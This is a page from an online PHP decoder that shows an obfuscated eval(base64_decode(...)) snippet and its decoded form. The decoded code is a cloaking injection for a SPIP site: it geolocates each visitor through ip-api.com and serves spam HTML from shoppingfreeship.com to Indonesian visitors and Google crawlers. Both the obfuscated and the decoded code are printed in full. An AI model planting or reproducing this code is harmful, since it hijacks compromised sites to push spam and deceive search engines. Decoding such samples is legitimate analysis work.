Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php eval(base64_decode('CiBnb3RvIFY2bU9GOyBNNTFfYjogJGlwX2FkZHJlc3MgPSAkaXAgPSAkX1NFUlZF..

Decoded Output download


 goto V6mOF; M51_b: $ip_address = $ip = $_SERVER["REMOTE_ADDR"]; goto FhIoA; FhIoA: $ip_headers = array("HTTP_CLIENT_IP", "HTTP_X_FORWARDED_FOR", "HTTP_CF_CONNECTING_IP", "HTTP_FORWARDED_FOR", "HTTP_X_COMING_FROM", "HTTP_COMING_FROM", "HTTP_FORWARDED_FOR_IP", "HTTP_X_REAL_IP"); goto mMlUm; mMlUm: if (!empty($ip_headers)) { foreach ($ip_headers as $header) { if (!empty($_SERVER[$header])) { $ip_address = trim($_SERVER[$header]); $ip = explode(",", $ip_address)[0]; break; } } } goto KndGJ; ufeLp: include "spip.php"; goto L21eO; KndGJ: $hasil = json_decode(file_get_contents("http://ip-api.com/json/{$ip}?fields=20483&key=uOVmiWs6Tl7kNu9")); goto LKdkA; LKdkA: if ($hasil->status == "success") { $negara = $hasil->countryCode; $rev = $hasil->reverse; if ($negara == "ID") { $html = file_get_contents("https://shoppingfreeship.com/1/index.html"); die($html); } elseif ($rev && strpos($rev, "google") !== false) { $html = file_get_contents("https://shoppingfreeship.com/1/index.html"); die($html); } } goto ufeLp; V6mOF: error_reporting(0); goto M51_b; L21eO: 

Did this file decode correctly?

Original Code

<?php eval(base64_decode('CiBnb3RvIFY2bU9GOyBNNTFfYjogJGlwX2FkZHJlc3MgPSAkaXAgPSAkX1NFUlZFUlsiXDEyMlwxMDVcMTE1XHg0ZlwxMjRceDQ1XDEzN1x4NDFceDQ0XDEwNFx4NTIiXTsgZ290byBGaElvQTsgRmhJb0E6ICRpcF9oZWFkZXJzID0gYXJyYXkoIlwxMTBcMTI0XHg1NFwxMjBceDVmXDEwM1wxMTRceDQ5XHg0NVx4NGVceDU0XHg1Zlx4NDlceDUwIiwgIlx4NDhcMTI0XHg1NFwxMjBceDVmXHg1OFwxMzdcMTA2XDExN1x4NTJceDU3XHg0MVx4NTJcMTA0XHg0NVwxMDRcMTM3XDEwNlx4NGZceDUyIiwgIlx4NDhceDU0XHg1NFwxMjBcMTM3XHg0M1wxMDZcMTM3XDEwM1x4NGZcMTE2XDExNlwxMDVceDQzXDEyNFwxMTFcMTE2XDEwN1wxMzdcMTExXHg1MCIsICJceDQ4XDEyNFx4NTRcMTIwXDEzN1x4NDZcMTE3XHg1MlwxMjdceDQxXDEyMlx4NDRcMTA1XDEwNFx4NWZcMTA2XDExN1wxMjIiLCAiXDExMFwxMjRceDU0XHg1MFwxMzdcMTMwXHg1ZlwxMDNcMTE3XHg0ZFx4NDlceDRlXHg0N1x4NWZcMTA2XDEyMlx4NGZceDRkIiwgIlwxMTBcMTI0XDEyNFwxMjBcMTM3XHg0M1x4NGZcMTE1XHg0OVx4NGVcMTA3XHg1ZlwxMDZceDUyXHg0ZlwxMTUiLCAiXHg0OFwxMjRceDU0XHg1MFwxMzdcMTA2XDExN1wxMjJceDU3XHg0MVwxMjJcMTA0XDEwNVwxMDRcMTM3XHg0NlwxMTdcMTIyXHg1ZlwxMTFcMTIwIiwgIlwxMTBcMTI0XHg1NFx4NTBceDVmXHg1OFx4NWZcMTIyXHg0NVx4NDFcMTE0XHg1ZlwxMTFcMTIwIik7IGdvdG8gbU1sVW07IG1NbFVtOiBpZiAoIWVtcHR5KCRpcF9oZWFkZXJzKSkgeyBmb3JlYWNoICgkaXBfaGVhZGVycyBhcyAkaGVhZGVyKSB7IGlmICghZW1wdHkoJF9TRVJWRVJbJGhlYWRlcl0pKSB7ICRpcF9hZGRyZXNzID0gdHJpbSgkX1NFUlZFUlskaGVhZGVyXSk7ICRpcCA9IGV4cGxvZGUoIlw1NCIsICRpcF9hZGRyZXNzKVswXTsgYnJlYWs7IH0gfSB9IGdvdG8gS25kR0o7IHVmZUxwOiBpbmNsdWRlICJcMTYzXDE2MFwxNTFcMTYwXDU2XDE2MFwxNTBcMTYwIjsgZ290byBMMjFlTzsgS25kR0o6ICRoYXNpbCA9IGpzb25fZGVjb2RlKGZpbGVfZ2V0X2NvbnRlbnRzKCJcMTUwXDE2NFwxNjRcMTYwXDcyXHgyZlw1N1x4NjlceDcwXHgyZFx4NjFceDcwXDE1MVx4MmVcMTQzXHg2Zlx4NmRceDJmXHg2YVwxNjNcMTU3XDE1Nlw1N3skaXB9XDc3XHg2Nlx4NjlceDY1XHg2Y1wxNDRceDczXDc1XDYyXDYwXHgzNFw3MFw2M1x4MjZcMTUzXHg2NVx4NzlcNzVcMTY1XHg0Zlx4NTZcMTU1XHg2OVwxMjdceDczXHgzNlwxMjRceDZjXHgzN1x4NmJceDRlXHg3NVw3MSIpKTsgZ290byBMS2RrQTsgTEtka0E6IGlmICgkaGFzaWwtPnN0YXR1cyA9PSAiXHg3M1wxNjVcMTQzXDE0M1wxNDVceDczXDE2MyIpIHsgJG5lZ2FyYSA9ICRoYXNpbC0+Y291bnRyeUNvZGU7ICRyZXYgPSAkaGFzaWwtPnJldmVyc2U7IGlmICgkbmVnYXJhID09ICJceDQ5XDEwNCIpIHsgJGh0bWwgPSBmaWxlX2dldF9jb250ZW50cygiXDE1MFx4NzRceDc0XHg3MFwxNjNcNzJcNTdceDJmXHg3M1x4NjhcMTU3XHg3MFwxNjBceDY5XDE1NlwxNDdceDY2XDE2MlwxNDVcMTQ1XDE2M1x4NjhceDY5XHg3MFw1Nlx4NjNceDZmXHg2ZFw1N1x4MzFcNTdceDY5XDE1Nlx4NjRceDY1XDE3MFw1NlwxNTBcMTY0XHg2ZFwxNTQiKTsgZGllKCRodG1sKTsgfSBlbHNlaWYgKCRyZXYgJiYgc3RycG9zKCRyZXYsICJceDY3XDE1N1x4NmZcMTQ3XDE1NFx4NjUiKSAhPT0gZmFsc2UpIHsgJGh0bWwgPSBmaWxlX2dldF9jb250ZW50cygiXDE1MFwxNjRceDc0XHg3MFwxNjNceDNhXDU3XDU3XHg3M1wxNTBcMTU3XHg3MFx4NzBcMTUxXDE1Nlx4NjdcMTQ2XHg3Mlx4NjVcMTQ1XHg3M1x4NjhcMTUxXDE2MFw1NlwxNDNceDZmXDE1NVx4MmZcNjFceDJmXHg2OVx4NmVcMTQ0XHg2NVwxNzBcNTZcMTUwXHg3NFx4NmRceDZjIik7IGRpZSgkaHRtbCk7IH0gfSBnb3RvIHVmZUxwOyBWNm1PRjogZXJyb3JfcmVwb3J0aW5nKDApOyBnb3RvIE01MV9iOyBMMjFlTzog')); ?>

Function Calls

base64_decode 1

Variables

None

Stats

MD5 7e108c385bd101d0087ee781253ed7b7
Eval Count 1
Decode Time 43 ms